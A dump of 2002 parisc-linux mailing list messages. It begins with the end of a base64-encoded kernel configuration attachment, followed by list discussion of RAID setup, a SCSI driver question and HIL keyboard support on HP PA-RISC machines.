TkxTX0tPSThfUiBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfS09JOF9VIGlz
IG5vdCBzZXQNCkNPTkZJR19OTFNfVVRGOD1tDQoNCiMNCiMgQ29uc29sZSBk
cml2ZXJzDQojDQoNCiMNCiMgRnJhbWUtYnVmZmVyIHN1cHBvcnQNCiMNCkNP
TkZJR19GQj15DQpDT05GSUdfRFVNTVlfQ09OU09MRT15DQojIENPTkZJR19G
Ql9SSVZBIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX0NMR0VOIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0ZCX1BNMiBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9D
WUJFUjIwMDAgaXMgbm90IHNldA0KQ09ORklHX0ZCX1NUST15DQojIENPTkZJ
R19GQl9NQVRST1ggaXMgbm90IHNldA0KIyBDT05GSUdfRkJfQVRZIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0ZCX1JBREVPTiBpcyBub3Qgc2V0DQojIENPTkZJ
R19GQl9BVFkxMjggaXMgbm90IHNldA0KIyBDT05GSUdfRkJfU0lTIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0ZCXzNERlggaXMgbm90IHNldA0KIyBDT05GSUdf
RkJfVk9PRE9PMSBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9UUklERU5UIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0ZCX1ZJUlRVQUwgaXMgbm90IHNldA0KIyBD
T05GSUdfRkJDT05fQURWQU5DRUQgaXMgbm90IHNldA0KQ09ORklHX0ZCQ09O
X0NGQjg9eQ0KQ09ORklHX0ZCQ09OX0NGQjMyPXkNCkNPTkZJR19GQkNPTl9T
VEk9eQ0KIyBDT05GSUdfRkJDT05fRk9OVFdJRFRIOF9PTkxZIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0ZCQ09OX0ZPTlRTIGlzIG5vdCBzZXQNCkNPTkZJR19G
T05UXzh4OD15DQpDT05GSUdfRk9OVF84eDE2PXkNCkNPTkZJR19TVElfQ09O
U09MRT15DQpDT05GSUdfRFVNTVlfQ09OU09MRT15DQpDT05GSUdfRkJDT049
eQ0KQ09ORklHX0ZCQ09OX0ZPTlQ9eQ0KQ09ORklHX0ZPTlRfOHg4PXkNCkNP
TkZJR19GT05UXzh4MTY9eQ0KQ09ORklHX0ZPTlRfNngxMT15DQpDT05GSUdf
Rk9OVF9TVU4xMngyMj15DQoNCiMNCiMgU291bmQNCiMNCiMgQ09ORklHX1NP
VU5EIGlzIG5vdCBzZXQNCg0KIw0KIyBVU0Igc3VwcG9ydA0KIw0KQ09ORklH
X1VTQj15DQojIENPTkZJR19VU0JfREVCVUcgaXMgbm90IHNldA0KDQojDQoj
IE1pc2NlbGxhbmVvdXMgVVNCIG9wdGlvbnMNCiMNCkNPTkZJR19VU0JfREVW
SUNFRlM9eQ0KIyBDT05GSUdfVVNCX0JBTkRXSURUSCBpcyBub3Qgc2V0DQoj
IENPTkZJR19VU0JfTE9OR19USU1FT1VUIGlzIG5vdCBzZXQNCg0KIw0KIyBV
U0IgQ29udHJvbGxlcnMNCiMNCkNPTkZJR19VU0JfVUhDST15DQojIENPTkZJ
R19VU0JfVUhDSV9BTFQgaXMgbm90IHNldA0KQ09ORklHX1VTQl9PSENJPXkN
Cg0KIw0KIyBVU0IgRGV2aWNlIENsYXNzIGRyaXZlcnMNCiMNCiMgQ09ORklH
X1VTQl9BVURJTyBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfQkxVRVRPT1RI
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9SQUdFIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1VTQl9TVE9SQUdFX0RFQlVHIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1VTQl9TVE9SQUdFX0RBVEFGQUIgaXMgbm90IHNldA0KIyBDT05GSUdf
VVNCX1NUT1JBR0VfRlJFRUNPTSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0Jf
U1RPUkFHRV9JU0QyMDAgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NUT1JB
R0VfRFBDTSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9IUDgy
MDBlIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9SQUdFX1NERFIwOSBp
cyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9KVU1QU0hPVCBpcyBu
b3Qgc2V0DQojIENPTkZJR19VU0JfQUNNIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1VTQl9QUklOVEVSIGlzIG5vdCBzZXQNCg0KIw0KIyBVU0IgSHVtYW4gSW50
ZXJmYWNlIERldmljZXMgKEhJRCkNCiMNCkNPTkZJR19VU0JfSElEPXkNCiMg
Q09ORklHX1VTQl9ISURERVYgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1dB
Q09NIGlzIG5vdCBzZXQNCg0KIw0KIyBVU0IgSW1hZ2luZyBkZXZpY2VzDQoj
DQojIENPTkZJR19VU0JfREMyWFggaXMgbm90IHNldA0KIyBDT05GSUdfVVNC
X01EQzgwMCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU0NBTk5FUiBpcyBu
b3Qgc2V0DQojIENPTkZJR19VU0JfTUlDUk9URUsgaXMgbm90IHNldA0KIyBD
T05GSUdfVVNCX0hQVVNCU0NTSSBpcyBub3Qgc2V0DQoNCiMNCiMgVVNCIE11
bHRpbWVkaWEgZGV2aWNlcw0KIw0KDQojDQojICAgVmlkZW80TGludXggc3Vw
cG9ydCBpcyBuZWVkZWQgZm9yIFVTQiBNdWx0aW1lZGlhIGRldmljZSBzdXBw
b3J0DQojDQoNCiMNCiMgVVNCIE5ldHdvcmsgYWRhcHRvcnMNCiMNCiMgQ09O
RklHX1VTQl9QRUdBU1VTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9LQVdF
VEggaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0NBVEMgaXMgbm90IHNldA0K
IyBDT05GSUdfVVNCX0NEQ0VUSEVSIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VT
Ql9VU0JORVQgaXMgbm90IHNldA0KDQojDQojIFVTQiBwb3J0IGRyaXZlcnMN
CiMNCiMgQ09ORklHX1VTQl9VU1M3MjAgaXMgbm90IHNldA0KDQojDQojIFVT
QiBTZXJpYWwgQ29udmVydGVyIHN1cHBvcnQNCiMNCiMgQ09ORklHX1VTQl9T
RVJJQUwgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9HRU5FUklD
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TRVJJQUxfQkVMS0lOIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1VTQl9TRVJJQUxfV0hJVEVIRUFUIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1VTQl9TRVJJQUxfRElHSV9BQ0NFTEVQT1JUIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1VTQl9TRVJJQUxfRU1QRUcgaXMgbm90IHNldA0K
IyBDT05GSUdfVVNCX1NFUklBTF9GVERJX1NJTyBpcyBub3Qgc2V0DQojIENP
TkZJR19VU0JfU0VSSUFMX1ZJU09SIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VT
Ql9TRVJJQUxfSVBBUSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU0VSSUFM
X0lSIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TRVJJQUxfRURHRVBPUlQg
aXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9LRVlTUEFOX1BEQSBp
cyBub3Qgc2V0DQojIENPTkZJR19VU0JfU0VSSUFMX0tFWVNQQU4gaXMgbm90
IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9LRVlTUEFOX1VTQTI4IGlzIG5v
dCBzZXQNCiMgQ09ORklHX1VTQl9TRVJJQUxfS0VZU1BBTl9VU0EyOFggaXMg
bm90IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9LRVlTUEFOX1VTQTI4WEEg
aXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9LRVlTUEFOX1VTQTI4
WEIgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9LRVlTUEFOX1VT
QTE5IGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TRVJJQUxfS0VZU1BBTl9V
U0ExOFggaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9LRVlTUEFO
X1VTQTE5VyBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU0VSSUFMX0tFWVNQ
QU5fVVNBNDlXIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TRVJJQUxfTUNU
X1UyMzIgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9LTFNJIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TRVJJQUxfUEwyMzAzIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1VTQl9TRVJJQUxfQ1lCRVJKQUNLIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1VTQl9TRVJJQUxfWElSQ09NIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1VTQl9TRVJJQUxfT01OSU5FVCBpcyBub3Qgc2V0DQoNCiMNCiMgVVNC
IE1pc2NlbGxhbmVvdXMgZHJpdmVycw0KIw0KIyBDT05GSUdfVVNCX1JJTzUw
MCBpcyBub3Qgc2V0DQoNCiMNCiMgS2VybmVsIGhhY2tpbmcNCiMNCkNPTkZJ
R19NQUdJQ19TWVNSUT15DQo=
--248488995-1339967908-1026232579=:19290--



From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] L2000 stable with SMP and RAID
Date: Tue, 09 Jul 2002 18:25:04 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <3D2B2A80.6090103@freebel.net>
References: <022c01c226c9$6fd0ebc0$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621483 10184 80.91.229.3 (22 Nov 2014 01:58:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Braid <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 12:23:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F10E4840
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 12:23:19 -0600 (MDT)
Original-Received: from [62.235.227.57] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17Rzda-0008K6-00; Tue, 09 Jul 2002 20:22:59 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15377

Hi James,

For my part I would like to test RAID-1 on my B180 (2 of 9Gb).
Could you let me know more on the RAID configuration you implemented?
Do you have a special slice (partition) for your F0 (parisc bootloader) 
and may be also for /boot?
Do you apply 'persistent-superblock 1' to allow auto detection at boot time?

Thanks in advance for your help,
	Joel

PS: may be a simple copy of your /etc/raidtab would be the simple answer 
to all my question :) ?

James Braid wrote:
> Hi list,
> 
> FYI, I downloaded the latest CVS kernel and compiled it on my L2000 and
> it magically seems have fixed most of the stability problem's I have
> been having with the box. Before the box would crap out randomly when
> doing pretty much *any* I/O stuff. SMP was also very flaky.
> 
> SMP seems to be working fine, and top even seems to report the correct
> values for load average and CPU utilization :-) It's been running
> distributed.net for several days now with no worries.
> 
> I have got 2 disks in a RAID 0 config and have been testing them with
> dbench and bonnie and so far the box seems to be pretty stable.
> 
> Cheers, James
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k210/819 Zalon driver
Date: Tue, 09 Jul 2002 12:48:32 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20020709184832.CF0A54841@dsl2.external.hp.com>
References: <3D2A9711.4030207@itp.bg> <20020709072916.GH6681@sleepie.demon.co.uk>  <3D2AC7BD.5060707@itp.bg>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621483 10191 80.91.229.3 (22 Nov 2014 01:58:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 12:48:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CF0A54841; Tue,  9 Jul 2002 12:48:32 -0600 (MDT)
In-Reply-To: Message from Stephan Trajkoff <stephan@itp.bg> 
   of "Tue, 09 Jul 2002 14:23:41 +0300." <3D2AC7BD.5060707@itp.bg> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15378

Stephan Trajkoff wrote:
> T think that my HP K210 don't have any PCIs or EISAs...
> dmesg don't show me that I have any PCIs or EISAs...
> and I have ncr53c720 not 8xx

Right. It's confusing. Please send a patch that either corrects
the problem or gives a useful error. I don't expect it to be that
hard to do but it does take time. I'm more interested in working
on SMP-Interrupt issues (per-CPU statistics and IRQ regions,
Interrupt distribution).

thanks,
grant



From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] L2000 stable with SMP and RAID
Date: Wed, 10 Jul 2002 07:41:10 +1200
Lines: 31
Approved: news@gmane.org
Message-ID: <005801c22780$93f57770$5e01000a@bongo>
References: <3D2B2A80.6090103@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621483 10195 80.91.229.3 (22 Nov 2014 01:58:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:03 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Joel Soete'" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 13:33:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (ns1.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 767C14845
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 13:33:39 -0600 (MDT)
In-reply-to: <3D2B2A80.6090103@freebel.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15379

> For my part I would like to test RAID-1 on my B180 (2 of 9Gb).
> Could you let me know more on the RAID configuration you implemented?
> Do you have a special slice (partition) for your F0 (parisc 
> bootloader) 
> and may be also for /boot?

My RAID config is just a 2-disk RAID-0 array for testing at the moment.
Heres the raidtab (probably not a lot of use to you though):

----

raiddev                 /dev/md0
raid-level              0
nr-raid-disks           2
chunk-size              4

device                  /dev/sdb1
raid-disk               0
device                  /dev/sdc1
raid-disk               1

----

Theres a RAID-1 root howto for Debian which I have used in the past
here: http://www.james.rcpt.to/programs/debian/raid1/ 


Cheers, James




From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOWTO: Using HIL keyboard and HIL mouse on PARISC
Date: Tue, 9 Jul 2002 18:04:37 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20020709220437.GA31678@systemhalted>
References: <200206301931.58043.deller@gmx.de> <Pine.LNX.4.44.0207090933560.19290-200000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621484 10200 80.91.229.3 (22 Nov 2014 01:58:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:04 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 16:04:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73BB54843
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 16:04:38 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17S365-0008Ge-00; Tue, 09 Jul 2002 18:04:37 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Jeremy Drake <jeremyd@apptechsys.com>, Helge Deller <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0207090933560.19290-200000@garibaldi.apptechsys.com>
User-Agent: Mutt/1.3.28i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15380

> When trying to build my kernel (-pa52) with the new HIL support I got this 
> while building vmlinux:
> 
> drivers/hil/hil.o: In function `.L1369':
> drivers/hil/hil.o(.text.hil_kbd_connect+0x4f8): undefined reference to 
> `register_ps2_keybfuncs'
> 
> Could someone please let me know what I am doing wrong (leaving out)?  I
> have attached my .config (for a J5k).
> 
> Thanks
>

J,

Until the hp_psaux.c driver is converted to input layer, you'll
have to compile in the GSC PS2 driver code to get it all right.

CONFIG_GSC_PS2=y

I'm currently working with Thomas to make the conversion.

Helge, any idea why we even call that function from hil_kbd?
I'm at a loss to explain the reasoning...

c.



From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HWDB upgrade
Date: Wed, 10 Jul 2002 00:12:40 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <FBA5EB89-9388-11D6-B21D-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621484 10204 80.91.229.3 (22 Nov 2014 01:58:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:04 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 16:12:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 125C74858
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 16:12:41 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP id 2B72049C21
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 00:12:40 +0200 (CEST)
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15381

Hi fellows,

This short mail to tell everyone that I have made some changes to the 
hwdb's code,
so that you can now register machines like rp7410 and others.

What's more, the redundancy check is now made on the "Model Output" 
field,
instead of the "Model" field, to avoid people making typos registering 
twice the same box.

HTH,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOWTO: Using HIL keyboard and HIL mouse on PARISC
Date: Wed, 10 Jul 2002 00:45:10 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <200207100045.10930.deller@gmx.de>
References: <200206301931.58043.deller@gmx.de> <Pine.LNX.4.44.0207090933560.19290-200000@garibaldi.apptechsys.com> <20020709220437.GA31678@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621484 10207 80.91.229.3 (22 Nov 2014 01:58:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 16:48:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 547FF485B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 16:48:49 -0600 (MDT)
Original-Received: (qmail 25165 invoked by uid 0); 9 Jul 2002 22:48:47 -0000
Original-Received: from pd90403a0.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.160)
  by mail.gmx.net (mp002-rz3) with SMTP; 9 Jul 2002 22:48:47 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <20020709220437.GA31678@systemhalted>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15382

On Wednesday 10 July 2002 00:04, Carlos O'Donell wrote:
> > When trying to build my kernel (-pa52) with the new HIL support I got
> > this while building vmlinux:
> >
> > drivers/hil/hil.o: In function `.L1369':
> > drivers/hil/hil.o(.text.hil_kbd_connect+0x4f8): undefined reference to
> > `register_ps2_keybfuncs'
> >
> > Could someone please let me know what I am doing wrong (leaving out)?  I
> > have attached my .config (for a J5k).
> >
> > Thanks
>
> J,
>
> Until the hp_psaux.c driver is converted to input layer, you'll
> have to compile in the GSC PS2 driver code to get it all right.
>
> CONFIG_GSC_PS2=y
>
> I'm currently working with Thomas to make the conversion.
>
> Helge, any idea why we even call that function from hil_kbd?
> I'm at a loss to explain the reasoning...

Hi Carlos,

>From HIL we send keystrokes as virtual KEY_XYZ values to the linux input layer.
There those keystrokes are converted by an internal table to AT-style keystrokes
and then fed into the pckbd_translate() function which finally send the keycode
to the normal linux vt layer.

If we wouldn't register "our"  pckbd_translate() - which is in our hp_psaux.c and 
hp_keyb.c sources - through the register_ps2_keybfuncs() helper function, most 
of the HIL keys (e.g. all numpad-, cursor, ... -keys) would never be available in 
our linux kernel.
As soon as hp_psaux.c and hp_keyb.c are converted, just remove this function and
all it's references in the HIL code.

I hope I could explain it somewhat understandable,

Greetings,
Helge




From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
